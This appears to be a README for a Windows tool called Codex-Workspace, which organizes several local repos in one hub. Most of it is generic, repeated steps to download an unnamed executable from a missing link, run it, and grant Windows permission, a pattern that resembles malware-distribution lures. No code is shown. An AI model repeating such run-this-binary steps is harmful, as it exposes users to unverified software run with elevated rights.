Codex-Workspace helps you keep several projects in one place without turning them into one large monorepo. It is built for local work on Windows and gives you a simple workspace hub, shared cache support, and a clear way to handle mixed-stack repos.
Use it when you want:
- one place to manage separate repos
- faster local setup with shared files and caches
- a workspace view that keeps things organized
- a setup that works with agent-friendly context
- a practical layout without changing your existing repos
Before you start, make sure your PC has:
- Windows 10 or Windows 11
- An internet connection for the first download
- At least 4 GB of RAM
- Enough free space for your repos and cache files
- A modern browser to open the download page
For best results, use a user account that can save files to your Downloads folder.
Open the link below and visit this page to download the app:
On that page, look for the latest release or the main download file. Save it to your computer, then open the file you downloaded.
If your browser asks what to do with the file:
- choose Save
- wait for the download to finish
- open the file from your Downloads folder
After the file finishes downloading, follow these steps:
- Open File Explorer.
- Go to your Downloads folder.
- Find the Codex-Workspace file.
- Double-click the file to start it.
- If Windows asks for permission, select Yes or Run.
- Follow the on-screen steps until the app opens.
If you see a setup window:
- keep the default options
- choose an install folder only if you need a custom path
- let the installer finish before opening the app
If the download came as a ZIP file:
- right-click the ZIP file
- choose Extract All
- open the extracted folder
- start the app file inside that folder
When you open Codex-Workspace for the first time, it may ask you to point it to your repos or workspace folder.
Use this simple setup flow:
- Pick a folder on your PC where you keep projects.
- Add the repos you want to manage.
- Let the app scan the folders.
- Review the workspace view.
- Save the layout so you can return to it later.
A good workspace folder name looks like this:
ProjectsWorkspacesDevCode
Keep the folder in a place that is easy to find.
Codex-Workspace gives you a practical way to work with several repos at once. It keeps your projects separate, but still lets you view them in one hub.
Common uses include:
- handling one front-end repo and one back-end repo
- keeping a shared cache between tools
- opening related repos without mixing files
- giving agents clear local context
- managing many small repos from one place
This setup is useful when you want order without merging everything into one large repo.
A simple layout can look like this:
Workspaces/ClientApp/API/SharedCache/Docs/
You can also keep repos in separate folders and still manage them from the hub.
Good folder habits:
- use short names
- keep each repo in its own folder
- avoid nested copies of the same project
- keep cache files in one shared place
Codex-Workspace is built around local workspace management. A normal setup can include:
- workspace hub for several repos
- local-first file handling
- shared cache support
- mixed-stack project support
- clear project context for tools and agents
- a layout that does not force a monorepo
- simple repo discovery
- fast switching between projects
These features help you stay organized when your work includes more than one codebase.
After setup, use Codex-Workspace like this:
- Open the app.
- Select your workspace.
- Choose the repo you want to work on.
- Open the files or tools you need.
- Switch to another repo when needed.
If you change your folder layout later, open the app again and refresh the workspace so it can find the new path.
To keep things simple:
- keep your workspace on a local drive
- leave shared cache folders in the same place
- avoid moving repos while the app is open
- close tools you do not need
- keep file names clear and short
If a repo does not appear, check:
- the folder path
- whether the repo still exists
- whether the app has access to the folder
- whether the workspace needs a refresh
Codex-Workspace is made for local work on your own machine. That means your repos and workspace files stay on your PC unless you choose to move them.
This is useful if you want:
- local control
- fewer folder changes
- a setup that stays close to your files
- a simple way to manage work without sending everything to a cloud service
Here is one clean way to set it up on a Windows PC:
- Create a folder called
Workspacesin your Documents folder. - Put each repo in its own subfolder.
- Keep shared files in
SharedCache. - Open Codex-Workspace.
- Add the
Workspacesfolder as your main location. - Save the setup for next time.
This keeps your projects easy to find and easy to update.
Yes. You can use the app as a workspace organizer and follow the steps above.
No. Codex-Workspace is made to help you keep repos separate.
Yes. It works well when your folders include different stacks and tools.
Yes. You can update paths, add repos, or move folders when your setup changes.
Codex-Workspace helps keep shared context in one place, which makes it easier to move between tools without losing track of files.
If you need the download page again, use this link:
- Open the GitHub page
- Download the latest file
- Save it to your PC
- Open the file from Downloads
- Allow Windows access if asked
- Pick your workspace folder
- Add your repos
- Save the setup